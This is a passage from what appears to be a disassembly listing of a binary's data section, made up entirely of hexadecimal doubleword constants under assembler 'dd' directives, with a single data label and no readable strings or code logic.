		dd 8C73C700h, 0A80B634Dh, 0F024160Ah, 4C6C20D9h, 0A2005B09h
		dd 0E812C10Fh, 0F9378DCh, 922C6B8Ch, 0FB804E25h, 8F70C827h
		dd 0D01779h, 9AC4032h, 7CF3993h, 90EDE831h, 0EECC6F20h
		dd 0F8A0C083h, 751F3DEFh, 0F042182Ch, 1811D08h,	0C07B15F6h
		dd 84432A8Bh, 165A1861h, 0A404A868h, 2D19F814h,	718997Bh
		dd 6A1038B2h, 0E8402643h, 4800CE14h, 2C03BA1Ch,	2FA76043h
		dd 44C06562h, 9CBA40F0h, 6CF0B7F8h, 61285D0Bh, 348D811h
		dd 0CA856F4Eh, 89F843A2h, 3B0044D9h, 0B5C06C0Bh, 7C1F12CBh
		dd 6F29002Ah, 0A805098Ah, 0AB3062BAh, 95BD4049h, 0CEB6053Dh
		dd 0AC159C0h, 780E18Dh,	83EE58A8h, 1004CFE6h, 1C4AD098h
		dd 0D6D540F5h, 0A70B1887h, 593B8349h, 92E6F28Fh, 848C200Fh
		dd 9CE5D1Bh, 826A1C45h,	2409B848h, 7DD09114h, 44A00228h
		dd 0E0AC0F6Bh, 0A173832Ch, 8FE2A21Ch, 0E66B81E8h, 94D03CCAh
		dd 0B5534F40h, 83F807ECh, 10706A7Dh, 1006583Ch,	0F7002452h
		dd 8B373CAEh, 42005618h, 0AC6D5863h, 0EE874F40h, 14237E5Dh
		dd 0ECF83C33h, 0ED39080Ah, 501E6FF4h, 80253E28h, 6E5A95C4h
		dd 12FB99h, 0D04C4022h,	4623797Eh, 1908C101h, 0A76B6124h
		dd 5D4BD89Eh, 2640B32Eh, 51A50DE1h, 8041F3A0h, 0E8396EA0h
		dd 1183ED7h, 6B4C9225h,	85FF3461h, 0BF604528h, 2048FC51h
		dd 5F4F0016h, 0D4445941h, 705FBA7h, 5CC0DD0Eh, 0FC91DC04h
		dd 0D5887000h, 0C500BEA2h, 60BFC178h, 3ED2C0EAh, 97890917h
		dd 2878C658h, 0BFC27700h, 0F85ACA55h, 71C9070h,	0ED1C1025h
		dd 80D3D047h, 0AD004CF9h, 8369A17Dh, 28D75D13h,	50A8BCA3h
		dd 13F8DC81h, 0A0F43166h, 5852C0B4h, 308730FCh,	187B25F6h
		dd 81DF89Bh, 0DF0AB672h, 94342D07h, 0EA8CA80h, 0FF5F64Ch
		dd 0D17BD090h, 842B1764h, 6B8440E9h, 0FA9967F8h, 4790A491h
		dd 70051B20h, 0FF996AF8h, 0E1581007h, 349A87Ch,	80D03E37h
		dd 6598C182h, 22343871h, 50B84E61h, 9D73450h, 48D019A0h
		dd 23A85411h, 0CDCA00DCh, 0E58957Bh, 1E58D286h,	4B200328h
		dd 44E25027h, 8207A07Eh, 89825D03h, 1DBC0809h, 4368C0BFh
		dd 0BD62C2A9h, 9660DD66h, 7B833778h, 0B4430h, 626CEDB8h
		dd 80A89C1Ah, 0EBD98B43h, 10DF7D28h, 840C8414h,	9C84484Fh
		dd 0D599FA80h, 182F1206h, 0B1CCE0DCh, 20B0EC6Eh, 305395A2h
		dd 0AB0900A8h, 0F8842DD4h, 0C0014774h, 0E751D68Dh, 1C2022C1h
		dd 0D408A155h, 0BE0A44DCh, 2C630008h, 9F718EE2h, 0AEEFBC00h
		dd 7DBDE5D7h, 0C070240Dh, 322C23h, 922A3A52h, 46653F58h
		dd 8C1D83D8h, 7C781C7h,	0AC008D15h, 6C1BFE87h, 124A72C8h
		dd 0A129583Eh, 0A7020ECh, 0D420C18h, 58B7ABA0h,	7214B008h
		dd 8BC7DC29h, 0AB5841DBh, 0B810048h, 4485485Dh,	0D9328980h
		dd 47051607h, 0DA8ABE40h, 0B208080Dh, 10FC28A3h, 0A518489Ah
		dd 7336014h, 0D07068CBh, 1643E05Fh, 1207A806h, 4D7E1EBh
		dd 0ACC07267h, 0F407924Ch, 6251BA46h, 0CC04B6FDh, 0A0300854h
		dd 613E80B2h, 0BDA54042h, 5CE8BF50h, 4158560Ch,	59E8984Dh
		dd 0A0131460h, 0CA1C0424h, 970413CBh, 0FBC07835h, 52937CF8h
		dd 3F008C4Ch, 0FFB623B8h, 2050E88Dh, 4E6AB7A0h,	0CA62A839h
		dd 42704135h, 6B9ED0h, 3AE6D740h, 0A4EF86Dh, 0CF78BA03h
		dd 0F10552FFh, 3830CD9Ah, 0F00890A6h, 8224B26Dh, 289464A7h
		dd 58A06B87h, 580A0C9Fh, 8CE98Ch, 4E37E5D6h, 0A9E07834h
		dd 2A80817h, 21449300h
		dd 7C747D0h, 80F5BF1Fh,	0E8899010h, 690418DFh, 0B0D90876h
		dd 28C200D4h, 4908C1A8h, 0B7910CF0h, 0D77044ACh, 0EC03584Eh
		dd 1EBAA361h, 0CCFE28F0h, 0D58896F3h, 5EBE409h,	0C6B3835Fh
		dd 3F402C02h, 90D8444Ch, 1140D4D0h, 41E08861h, 0DE1DCA7h
		dd 339C8BC6h, 0A0500B0Ch, 4F006C76h, 65A61C82h,	242431B0h
		dd 9A0004A5h, 0DC894BFCh, 3A431F90h, 21BD016h, 0DB612131h
		dd 97004863h, 0F7E01E29h, 0BE4B03ABh, 0A8A01798h, 0D90CFC05h
		dd 2065D058h, 0B1133247h, 0DCC8C7CEh, 3F034BCFh, 32625548h
		dd 4A5028C3h, 501F409Ch, 44456801h, 28FAF8BEh, 0F1D5D30h
		dd 1FACDAEEh, 0C8F9AE81h, 0D975EC45h, 0A2E85AC0h, 0EE119B89h
		dd 28B4B23Fh, 26813A6h,	0DA5926E8h, 0D44041CAh,	25B0519Eh
		dd 0DF05E0A0h, 0BCBC0E2Eh, 5D819418h, 40BA6241h, 6CDC1B40h
		dd 361C6C2Ch, 893AB4C0h, 1D98A39h, 0ADC06830h, 0E0DC5AE4h
		dd 8AB77A62h, 8F496440h, 2E001E14h, 99565AEBh, 96060003h
		dd 6250F6ACh, 2A540431h, 90848ED4h, 7424B708h, 172CFD08h
		dd 0D80005F8h, 0F31D4382h, 368A00D2h, 1C8BACAFh, 0D830586Eh
		dd 57DA4004h, 0E9201D99h, 0E027C13Ah, 8A019640h, 0E873B751h
		dd 466F42h, 0F0135A1Ch,	0F809BE2Eh, 18BCAA09h, 7D9FE8E4h
		dd 50CD169Eh, 98F8A048h, 2438F64Ch, 0BF0530BEh,	0D4D5C5DBh
		dd 994A2403h, 7F3AC01Eh, 24D92C58h, 438C133Ch, 6D7B3D54h
		dd 64FE5EE1h, 3A003580h, 211A4E39h, 74A29FFh, 161F8761h
		dd 84B370D3h, 76246D9Bh, 2D089019h, 0F0553F8Eh,	80695060h
		dd 7B180A4Ah, 1240422Ch, 0F44B819h, 0F36F3F25h,	9C8840C2h
		dd 8AB2C000h, 28CF0670h, 0F1A53A61h, 48F01A48h,	0F85884B4h
		dd 0F5040C8h, 0BE08415Eh, 590028AFh, 58D57B2Dh,	0A0C3DB5Bh
		dd 0DC20AD8Ah, 0B2C734Eh, 3B6B2578h, 0E6233481h, 46C7EBA0h
		dd 0C203857h, 0AF100021h, 50E7E454h, 156EBE9Bh,	3CF0B359h
		dd 72ABA0D1h, 9D1401FEh, 7BAA4AD0h, 655020EAh, 0AD08F64h
		dd 78374C0h, 0B17267A7h, 789C2946h, 1BA0D513h, 484D81ECh
		dd 0DFFCF977h, 0C185005Ah, 9B6FD906h, 250074F1h, 3F2E29FCh
		dd 3240D18Ch, 4870D8B2h, 805EC5Ch, 68D1A322h, 0D0843094h
		dd 0B87C40DBh, 15963E48h, 3345222h, 5440D83Bh, 17207539h
		dd 358EE51h, 0AA69046Fh, 0B861EFA2h, 2607E4F1h,	7A49CBFCh
		dd 0C0290F8Ch, 0E0968E19h, 0CD6CD3BFh, 0BDC90B0Fh, 49805643h
		dd 934A1842h, 208FBCB1h, 20C17255h, 7C70F978h, 214D8315h
		dd 886F1EF8h, 72546D84h, 0B8E4E8C0h, 48387F6Bh,	644DD4B7h
		dd 94085506h, 2460F0C6h, 0E3EFE928h, 0B5A70496h, 0A4EE28D2h
		dd 28E5B38Ch, 49495DCh,	10349440h, 28785414h, 4DA8EB30h
		dd 2052486Dh, 58DBE02h,	5C7C3249h, 80F29709h, 61909500h
		dd 16507413h, 40E06F62h, 46D0E41Ch, 0DCE073ADh,	140F1890h
		dd 0CF8A253Fh, 9FC7487h, 2A77D0E8h, 0B2004474h,	0FB125E25h
		dd 66082559h, 70882C87h, 9728B56h, 4C97DF00h, 50384232h
		dd 71E80905h, 0C632C20h, 9E416CB9h, 81015451h, 3771073Ah
		dd 545848BBh, 2646EF88h, 62611038h, 0A5BD12F7h,	53BF9402h
		dd 0A08C987Fh, 50587C1Eh, 0BAE6D46Ah, 7CD97CA4h, 0F5C32E1Fh
		dd 753880C0h, 3C71D7EBh, 0B125CE0Bh, 754822Fh, 0E445046Eh
		dd 12269964h, 0CD93A4DDh, 0F005404Bh, 66F09440h, 431290BAh
		dd 0A8454B60h, 0DC88781Fh, 1A29C103h, 90866008h, 24481D51h
		dd 1A354E74h, 0DC84E804h, 2C20C9FCh, 0FF9AC758h, 0CD187C4h
		dd 407B1161h, 0D32909FCh, 171DD873h, 13001C58h,	9E6DBDD9h
		dd 0E97F37BAh, 0B5888320h, 1EA7C5B7h, 4B99C098h, 58E17F85h
		dd 90B73628h, 98D9211Dh, 6A13B141h, 0CBECE606h,	68DF6Bh
		dd 8F61B23Dh, 0FCE51FA8h, 8C0013BFh, 99535A50h,	0F3B0FEh
		dd 7BD05F37h, 0D43E8F86h, 80EA800h, 18620301h, 5042185Bh
		dd 75FB18A4h, 0A61B1F00h, 44936870h, 203CB06Bh,	0FA04D0Ch
		dd 0B1066750h, 537C610Eh, 77E100F0h, 8587E66h, 94A0BDF0h
		dd 410263CFh, 0FA62BE59h, 36704867h, 0DA210222h, 0A00553BDh
		dd 5B4EB080h, 9012EE99h, 6E00122Eh, 0E3E4430Ch,	8A0A00A8h
		dd 18BDCC95h, 3030317Bh, 3A97881Ah, 9FB53061h, 5A7F4058h
		dd 6003C0B2h, 0CF172D08h, 7607E04Ah, 9D90D2B9h,	1AE402DCh
		dd 0A1B0CC29h, 4ACE0804h, 74BC00FCh, 0FF725Dh, 137907A8h
		dd 63D06B49h, 2701CB77h, 58E728F3h, 0D840FBA2h,	0F044AF0Fh
		dd 282E5878h, 0C99081A4h, 0B0882E56h, 3CEC9988h, 2CA4D524h
		dd 3E224A78h, 46D41B24h, 8BB4989h, 8EAF6186h, 0C8E60018h
		dd 0C0539828h, 6E00658Ah, 3E890631h, 7C323A51h,	68520056h
		dd 0C72B9912h, 0EA0001A8h, 0F8A4B3B6h, 0C0A470Fh, 0C2DE62A1h
		dd 303D850h, 55310ECAh,	797527h, 752BA15h, 7BA64FDAh, 0DF6158A0h
		dd 4209749Ch, 41F4E340h, 60331C76h, 585D0B02h, 9880A34Bh
		dd 126F953Dh, 0FF194D01h, 99786127h, 34689E02h,	0B8836EFDh
		dd 4DAACA8h, 68C749F0h,	42488174h, 8990C34Bh, 6C00D635h
		dd 51C00B9Eh, 2496A265h, 0F24DE80h, 38A1BFEDh, 0CC467970h
		dd 5561CD58h, 44E2DB90h, 0F040AC53h, 0DF836862h, 65DA0B10h
		dd 0C0F46480h, 8C005824h, 0A436D20h, 0FD48AA4h,	653663A2h
		dd 0B83740FFh, 348921A7h, 0E3C7AA01h, 8A8DBFCEh, 10E05820h
		dd 145BFE62h, 4CE85CA0h, 723C52A4h, 7891054Bh, 0C40F64Ah
		dd 2D435818h, 7CC06E08h, 4F62B63Dh, 3663EC0h, 8CC93F39h
		dd 0C162D23Ah, 5066B409h, 624249C1h, 7824A659h,	1BC60B02h
		dd 94809620h, 9455F92h,	280CFAF8h, 183D6C34h, 7C8402D5h
		dd 0E9F640E5h, 60E370C3h, 7298DAA0h, 9AE7B601h,	9B0780D7h
		dd 80C6C28h, 257076C3h,	48B2E05Fh, 0E904013h, 2CE007A4h
		dd 7B4C70EDh, 1ED71A16h, 0B3885002h, 0EC66C6h, 810B5EF2h
		dd 4778184Dh, 61CE980Eh, 0F042491Ch, 71F66238h,	22092055h
		dd 9090C0FCh, 72408B80h, 5D61183Ch, 9307F9B0h, 9A54E403h
		dd 0FFF17258h, 84BFDAC0h, 0B96828DFh, 354B0488h, 0C1C5AA3Ah
		dd 0F1C611A8h, 0FD6BF0B3h, 0C8567303h, 0F041040h, 0A35869D8h
		dd 0EB84898h, 5C2618FEh, 38259031h, 40E86108h, 4E031B72h
		dd 0F97F3413h, 0C240A14Bh, 6F2C874h, 76608E29h,	710FF870h
		dd 2CB14F3Ah, 319901Ch,	2F91C645h, 0E998585Ah, 0DE03890Ah
		dd 4726322Ah, 57F09050h, 0DB90A298h, 92B42028h,	0AC402728h
		dd 0AC64D4C2h, 273EB89Ch, 0AFC0A1BFh, 0E86C6562h, 0D0FA2800h
		dd 223D2E48h, 49E43958h, 908C248h, 354200BAh, 5818937Bh
		dd 0AAF965D5h, 4CA8B00Ch, 8100B49Bh, 0B83F5D63h, 0CF066D52h
		dd 2E9840DFh, 826A1D48h, 36FC49B6h, 0B125C80h, 68984FB7h
		dd 1078102h, 712F217Ah,	0DF00BC74h, 0AC29633Bh,	50128A0h
		dd 0E989716Dh, 682C1540h, 76996F01h, 0F4EBE2A8h, 0CF00EADDh
		dd 8AB1527Fh, 0E74D401Dh, 586E8082h, 0E889A994h, 0EC6028C2h
		dd 0EF805591h, 25347074h, 9C22400Dh, 3E01B9F0h,	0F0D7F6B3h
		dd 0BD6E4DDh, 3FEC100Ch, 0C957AC00h, 0E778D170h, 5045780Bh
		dd 0BF8607Ch, 6FC606D9h, 50669058h, 0B6CE1120h,	0E361011Ch
		dd 400DCA62h, 3B0A99A0h, 7E443A01h, 982D7FD0h, 0D88BE4D5h
		dd 0BF8CD4DBh, 35012C18h, 0E1957D3h, 9AD1E821h,	0E858F073h
		dd 0C66D38Bh, 0DF85290Ah, 2A1480D4h, 0E08903E4h, 0BA525928h
		dd 28C8D6B7h
dword_4E204C	dd 0E632678h, 0CED79C3Ch, 7853A8Dh, 0CA844C74h,	4B3308B8h
		dd 0D96CC9CCh, 0B040695Ah, 0BFD81F6h, 52204A16h, 6761B0A1h
		dd 18A18023h, 53E4D526h, 0BBE64Eh, 348ABC09h, 72AC7C6Fh
		dd 0A50827h, 3E813AF0h,	0F823FFBFh, 0D43C3616h,	2FA4F5A0h
		dd 4250D046h, 57D11371h, 40B8606Dh, 0E0C0EF2Eh,	6962B648h
		dd 12A8B260h, 45D1A3h, 207C8762h, 3D1E728Dh, 0B684A9BAh
		dd 88F0CA40h, 7A581297h, 0CBB45C70h, 0CC043F93h, 20CC127Bh
		dd 2B5F2858h, 3E5A00B0h, 18B08770h, 61137ED6h, 54407526h
		dd 76D982FFh, 2849FC7Ch, 19080799h, 0F161FB58h,	0BEA608DEh
		dd 1DC0858h, 0B8ABE01h,	39F0756Ah, 0FA78C963h, 0D21C0475h
		dd 2628C7C3h, 0BE9C9328h, 49EF5F00h, 0D5C95DF7h, 0B4585C13h
		dd 0BF3A2C91h, 8B196433h, 432D78DAh, 0C88D8CF4h, 300710A8h
		dd 3828C4DCh, 8036285h,	16022F40h, 0BC0A70h, 9FD147E0h
		dd 0D8300878h, 481740DFh, 1E8A90BEh, 1EE91BC5h,	0A0F0CA80h
		dd 543217B0h, 0D6065884h, 18EEB740h, 28EA57EAh,	0E33058ECh
		dd 5B2A07Fh, 0D8451F53h, 89258078h, 9BC32432h, 0A5404E09h
		dd 34C864D4h, 0C181A908h, 2528114h, 0F744604Ch,	6DA3D16h
		dd 839C24A6h, 1CE70846h, 3DF63013h, 4BD9B070h, 50109698h
		dd 0CF493F61h, 60031434h, 8DBD0B84h, 2C50060Bh,	586C0A10h
		dd 83D09277h, 892613A0h, 917504F0h, 54C06600h, 36511B11h
		dd 9BCB2661h, 0F2BCBCh,	4138ECD9h, 2FFBA846h, 97352800h
		dd 0E11D678Fh, 0F8DA12A9h, 0E8E400FAh, 0D90E4E1Fh, 0FC00A1Dh
		dd 41588239h, 85D2F231h, 1C909BA8h, 80218B99h, 82601A58h
		dd 26D48998h, 7E5C2E28h, 0AE2C8180h, 56D178h, 552AF2Dh
		dd 73F82EDh, 2104D262h,	0B32014CEh, 0D794128Fh,	6AC0058h
		dd 82D6247Bh, 0AB07E80Dh, 61E62029h, 0B80667BCh, 38894903h
		dd 0E992DD7Ch, 0C6CA5308h, 846C11FCh, 3209030Bh, 9A7807h
		dd 0B5DB8610h, 33496B38h, 64903D00h, 8B6C01Eh, 222900A4h
		dd 7F992A89h, 500907BEh, 200362A5h, 39112EC4h, 0ACC89D4Eh
		dd 0F8243380h, 8B080478h, 79F7010Ch, 2B8AB942h,	81404C00h
		dd 406907C8h, 6305D03Eh, 0EFB1B44Fh, 0B0AB28C3h, 5F8AABCh
		dd 3E08425Ah, 88ECD007h, 0D3FCA8C1h, 560C59F8h,	788A9662h
		dd 0E4081A45h, 305628F0h, 7820F42Ch, 5EECE64Dh,	7E02050h
		dd 93C03F70h, 240C2E80h, 2EBF7C0Ah, 1C4A8E1h, 515926F7h
		dd 4558FD14h, 4D54B0DCh, 0C7B49905h, 0DC1F6750h, 9A1C6E40h
		dd 151C01Fh, 3CABBEEFh,	80B2E061h, 243BF98h, 0B891A226h
		dd 0F9990348h, 0B67DCF1Fh, 8081E0B9h, 5C2D4D58h, 24E8CDE5h
		dd 6C4C1Bh, 8AC5E1DCh, 0CA548107h, 11954B94h, 340DFE88h
		dd 26406728h, 40E01D24h, 3C0D206Bh, 0F8B3834Bh,	520E943Ch
		dd 0E0C2AD85h, 10C2360Ah, 78500809h, 1813245Ah,	844D6C8Ah
		dd 1109D70Bh, 58137444h, 0D800371Ch, 0CD5232B1h, 9F402D86h
		dd 4BA6F880h, 6D0D4E2Ch, 380FDA58h, 7C75C861h, 51129087h
		dd 0E76131F7h, 1AE18123h, 22E1C425h, 8198FC20h,	0CCD0D9E6h
		dd 9A1ED129h, 0D5CAD928h, 4D8A3408h, 0DD12CC6Dh, 0AF6FA823h
		dd 0EA6C5FB0h, 65E13E23h, 4871A784h, 0EB8CC055h, 7A266125h
		dd 0C38840D1h, 50950052h, 243D7BE4h, 2A8C0F55h,	20404C28h
		dd 5F9843E6h, 0E8B01482h, 0E5315861h, 4DD13057h, 4D706570h
		dd 3E1E18FAh, 7685CA48h, 0A6F20084h, 41611B43h,	428C340h
		dd 3B492406h, 44B4803Ch, 277CA491h, 90C5CB8h, 791E3122h
		dd 90C13758h, 43411358h, 0E1A8CDF0h, 0EA3B440Fh, 1D80C7B3h
		dd 84085202h, 0C0A576D0h, 1A7CD8h, 7FE6D70Ah, 2844B2D4h
		dd 0A8F04600h, 0E110A405h, 0A1505AB3h, 0CDCC24D0h, 549941C0h
		dd 989B9CE4h, 90F52048h, 0AAA84E04h, 0C8E2DE8Ah, 16208677h
		dd 631C9E97h, 45BD0958h, 81A6BFF4h, 259F838h, 0AC045726h
		dd 7E4CBC50h, 0C8D5B626h, 23ECC525h, 749E09D0h,	0C1301C50h
		dd 0F796204Ah, 0B9501367h, 0D1891360h, 6058B188h, 0CF043816h
		dd 63A60A4Ah, 1D10A0A4h, 441F97DFh, 828FCB17h, 0E450BA94h
		dd 4EB4695Dh, 8E2CD84Bh, 0E1AEECD8h, 183201FFh,	6290423Eh
		dd 5B002020h, 60418A41h, 0A1056D5Ah, 320699Ch, 0E14809BDh
		dd 64B2CDD9h, 0E041DC12h, 154B31B0h, 5888A050h,	0E0CDC4D4h
		dd 693D9E10h, 10EDAA98h, 5C315870h, 63837899h, 856F7C40h
		dd 0A67003Bh, 7C27715h,	89406EAh, 0A093710Ah, 1DA0DB01h
		dd 0B868AC58h, 44E88900h, 937C1A4Ch, 6B0318BEh,	9F94858h
		dd 95C13920h, 2887E08Bh, 0B0A8E0D2h, 891E88Ah, 90969090h
		dd 3DFD7B10h, 0BF382D0Eh, 884496EBh, 0CE09BE2Bh, 0D23DDC85h
		dd 0B0F0612Ch, 0BC007E4Eh, 19E45DC0h, 0F26A7E03h, 78249ED3h
		dd 2C4AAA58h, 0C536E000h, 74430EF7h, 0A064006Eh, 0F8D12616h
		dd 5958170Fh, 84B71834h, 9145D0A0h, 50012D2Ch, 0E0C6EADBh
		dd 954ABE58h, 9AC284C4h, 0C2A4DAF1h, 501D738h, 0C46B8103h
		dd 58C2A0BDh, 9C80AE16h, 4203B661h, 0A81C44F8h,	81FA2C73h
		dd 24202F6Bh, 0C688328h, 17A93210h, 1C31DC89h, 80052CB0h
		dd 0FB5D18Ch, 1614BF3Eh, 0D4908F72h, 29520Eh, 60C0681Bh
		dd 0A432857h, 719D6F2h,	3A289F61h, 0B279B2D4h, 28E201E8h
		dd 0DE42E89h, 0AAB443C2h, 60FF6899h, 6C04364Fh,	79B59CE0h
		dd 9049BC80h, 80E501FEh, 0AD612237h, 0E2489ED2h, 0FD02C817h
		dd 9614FF08h, 0C280AAE8h, 0D78C10D0h, 81427415h, 0A848F6A0h
		dd 0F1182809h, 0CB7091D9h, 57303B3Eh, 4E58338Fh, 70133129h
		dd 5848DDC2h, 3C783D49h, 20178133h, 4CF7C8D7h, 68FA00E8h
		dd 0BF3A5935h, 4A776DB5h, 39897103h, 8FB6747Dh,	58AE5DC0h
		dd 81240CECh, 197896CEh, 0ED4C109Dh, 69022CDEh,	0B27F0334h
		dd 0E3E3185Bh, 30FE32D3h, 3577E3Eh, 7740CDE0h, 6AE0276Ch
		dd 0EF0368C5h, 471E40h,	6A5A9A20h, 0CDD088BEh, 2BA80BCh
		dd 4262E370h, 19144005h, 44C0009h, 6D4EA74h, 0A60060D8h
		dd 8FBE46C2h, 243D6A05h, 280396Bh, 957B0C1Eh, 827F0D0h
		dd 0F6480275h, 4FC09035h, 245812FEh, 0A0900B33h, 0A5B9F022h
		dd 70E03848h, 54666212h, 0A0E1E00Eh, 4E610C0Fh,	5588A2A1h
		dd 0B7A00493h, 58600962h, 73D5E510h, 728705Bh, 2E80851h
		dd 0E5913477h, 0B87C206Ch, 0E550BB00h, 0B2F64AF5h, 90F013E9h
		dd 0C05C1E5Ah, 247B189Ch, 75497F58h, 73606A8h, 9EC8D6F4h
		dd 6126857Ch, 441C903Ah, 30008CC0h, 78D5D711h, 2F5869C5h
		dd 0B8A36584h, 4BEA6B24h, 444CA058h, 4CB618D0h,	39D10920h
		dd 0B48E55BFh, 40E319ADh, 0E0005C48h, 41D33D6Dh, 88BD0Ah
		dd 1AEFFCAh, 64D0ED2Eh,	7F31C904h, 54B008B4h, 3287013Dh
		dd 886FC079h, 60CEC56h,	9C9770Bh, 790709A8h, 82EE0844h
		dd 636F590Eh, 0E409ECF4h, 0C088C8B5h, 0B1130BCCh, 0DC09FC33h
		dd 440CBE0Bh, 97810FA8h, 1C143h, 4A87E828h, 549234EAh
		dd 0A12054B0h, 0E1250FA3h, 28F8B258h, 718DE0Eh,	8F88FC7Bh
		dd 9B1D006Ch, 28A2B63Dh, 922DE75Eh, 3E70042Ch, 1CC84652h
		dd 444A113Dh, 79055022h, 9B610238h, 0B6C09F33h,	0E8BC3228h
		dd 0AE2A9060h, 556400CFh, 2D22A070h, 0AB4F58EFh, 10C0B810h
		dd 706D17h, 19A80CAAh, 87B7DB04h, 1B689016h, 26BD1808h
		dd 38321A48h, 47C2E04Bh, 0E809C45Ch, 0F88BD746h, 2B90B0CBh
		dd 60FEDA63h, 0B9605364h
		dd 818980FCh, 0A02024F0h, 9AD62D61h, 867BD405h,	7C80E00Ch
		dd 0D9003A93h, 0A16C22BFh, 0B0829843h, 0EE6A05ACh, 0F7267E62h
		dd 493B27A8h, 4F2FCCCh,	9994C1A4h, 45500137h, 3B134EC8h
		dd 6B12782Ch, 0E074B03Bh, 4C20A017h, 913D14A4h,	0F5EE8808h
		dd 52D7C402h, 0F040C66Bh, 0D4B31279h, 831C9226h, 224AC4F8h
		dd 198254F1h, 0DA676125h, 0C26B6056h, 9C5CC030h, 9C818277h
		dd 7460BF87h, 4080A848h, 80E86FA1h, 0B835D09h, 1000D3E2h
		dd 497CCF69h, 25E1B633h, 0C0E47354h, 50DAB502h,	0F0A56256h
		dd 0FDA70748h, 0ED205Dh, 889E05F4h, 44181527h, 0BB081614h
		dd 0CB08C862h, 2C81D40Fh, 18E5DCA5h, 0E6684F30h, 0D8C9E19h
		dd 40398708h, 0E8CCB76Ch, 962B2100h, 0A8B87DCFh, 0A7D100AAh
		dd 25084FF9h, 23604A07h, 1980CF30h, 0B73E0061h,	0D443B970h
		dd 4C927540h, 0DD679912h, 607B94A3h, 2E7F39FCh,	8900A10Ah
		dd 8017E335h, 4594D42h,	9207E881h, 8DEE1D27h, 893C5B00h
		dd 6A4A2Dh, 5FA85AF5h, 51084DEFh, 60618FF1h, 0F0458741h
		dd 0E41E01F1h, 4D5881CCh, 344A90F2h, 18D0F944h,	0D598429Bh
		dd 40382458h, 0C40A890h, 5C0F613Ch, 1225BF30h, 34E0C621h
		dd 0AC10585Fh, 61678418h, 63C8F207h, 11597F08h,	0B0BF8294h
		dd 0C40C4636h, 0F6D0C0h, 0D25AC385h, 0D92204D5h, 97025898h
		dd 80F07454h, 0BFA2B9F9h, 0C15CACF8h, 0D4C74AF6h, 0D2C00682h
		dd 0CDF04B04h, 0E4443F3Ch, 0ACF967CDh, 5F78F3D2h, 0A7D49C01h
		dd 43A1205h, 0E246D014h, 4D0311B0h, 888F580Ch, 0C80E2470h
		dd 8005B748h, 0BF613D97h, 731C072h, 40AC35DAh, 4142500Ah
		dd 249F9CBAh, 55C001E0h, 0BC28E743h, 6B24710Ah,	94E4008h
		dd 0EC047578h, 84CC1463h, 90AD2FEFh, 775006D3h,	395090A2h
		dd 6300D09Ch, 0BF8EB2D8h, 3058EDA0h, 40392DFDh,	0DB3A22F5h
		dd 2890BC20h, 989608E8h, 49BEB83Dh, 8AA913D4h, 4EC09C88h
		dd 78A89D51h, 0B33E004Ch, 0DDEA97E4h, 0E9791DE6h, 52BF80D1h
		dd 72150AEFh, 28C6093Ch, 0D309088Ah, 74631B40h,	0B41D9600h
		dd 6E0B4924h, 0AAE786h,	0D1BFD576h, 4B760619h, 80CF9C08h
		dd 1E699000h, 0D6A3DC3Ch, 53505849h, 0A20B1616h, 4C24C84h
		dd 0D340DC24h, 9D3FE0E0h, 6C58E0A1h, 326074B2h,	160B05B8h
		dd 62CA0804h, 247440CCh, 2D6A8041h, 98272090h, 3FB4B944h
		dd 2D122069h, 7840B27Bh, 40435102h, 56C9628Dh, 9AF30F60h
		dd 866B520h, 9980953Ch,	0AA80446h, 0BC166122h, 144724A0h
		dd 0B7084383h, 0D7282996h, 58D100BCh, 463BF6F8h, 14335176h
		dd 0EB21C8BBh, 16EBB307h, 211D6981h, 2F7C0840h,	60250C92h
		dd 802B3240h, 0DF0B7FD0h, 2C4FB70h, 2408630h, 90F205F2h
		dd 22F37CA0h, 0D0504807h, 0EC43DD76h, 78E3E014h, 54F724E0h
		dd 28C91F94h, 0BCA2B5A8h, 20016E27h, 9B706362h,	0D00653FBh
		dd 0B247401Fh, 70D46B10h, 9309E038h, 0E8805FD0h, 40E40BA9h
		dd 1429D42Eh, 9910EC50h, 2577060Eh, 0F0095DF6h,	0A83CC84Eh
		dd 17C10109h, 1D035859h, 3BA4423Bh, 89E1D92Eh, 1FF838BEh
		dd 7CE60458h, 1EC04AFh,	62E380C0h, 0CC1A50F6h, 626D4B4Dh
		dd 6812044Ch, 0C4C93Ch,	749640D2h, 3DE97D9Ah, 0B1223509h
		dd 78780248h, 8E3F00AAh, 0A404328Ah, 0A5B42B37h, 0A84ABC80h
		dd 96DAF8AEh, 833342E0h, 47AD001h, 0FCF5620h, 2BEAF34Dh
		dd 79189400h, 0C0280A46h, 38CAEA62h, 5D2C20E5h,	0C957EF05h
		dd 1505409h, 1FF00896h,	80D4366Ah, 5870570Bh, 0C4142BA1h
		dd 139E4FF4h, 8A481F40h, 25303389h, 90BF4881h, 92EC4C25h
		dd 74D8244Ah, 0E2F82C99h, 0D17065C8h, 0C52E2D90h, 0E3E0306Fh
		dd 0D9C03650h, 8B0999ECh, 0A141C4E8h, 775D080Ch, 0A740B462h
		dd 0BDD41747h, 0C5CA396h, 70055840h, 898C0233h,	7813E62Ch
		dd 0B1E9CDC3h, 0C878747Bh, 3421BF4Fh, 88634089h, 0EC647325h
		dd 0A8964B3Eh, 0BC9E304Dh, 81B0D615h, 549EEF5Eh, 782F846Dh
		dd 0C120B4F8h, 0F8421709h, 0ACC4C47Fh, 7890A400h, 1328F74Ah
		dd 0B45C0A2Dh, 0E5FA2340h, 72588D12h, 91B8D482h, 122F28C8h
		dd 2E391FF8h, 5051288h,	0A759E854h, 5AE456A0h, 1C5E4CD1h
		dd 48E26820h, 345042A1h, 20B0A82Ah, 0F430FD60h,	450D0044h
		dd 7DD092Eh, 20D78EFDh,	589560C0h, 849E5A12h, 9FF4E944h
		dd 7100DFD3h, 6B8926A1h, 0D2E107DAh, 0B21C963Dh, 50F1C24Fh
		dd 8E59516h, 49134448h,	44D2AC2Ch, 5F863058h, 673DD340h
		dd 2614984h, 8A37887h, 0C87D217Dh, 50C05030h, 5D20C90h
		dd 0C658E680h, 0DAF84045h, 0BF8439D9h, 8C429A3Ah, 70ABF340h
		dd 55612BDh, 96ACD24Ah,	0F0AA3C7Eh, 2DC29912h, 1440B8F2h
		dd 0BA0A8892h, 84FE6226h, 14C01012h, 9F9A2976h,	71BDE78h
		dd 0E0C9F4ECh, 3E53AA69h, 8109914Bh, 80FDC494h,	0FA7F7258h
		dd 0B1E71E24h, 418F1FEDh, 0B6DB5FCAh, 1DD5D0EAh, 109D5506h
		dd 0E20DA8Dh, 0E08A354Bh, 322EDE80h, 9607B23Ch,	0D319CCB7h
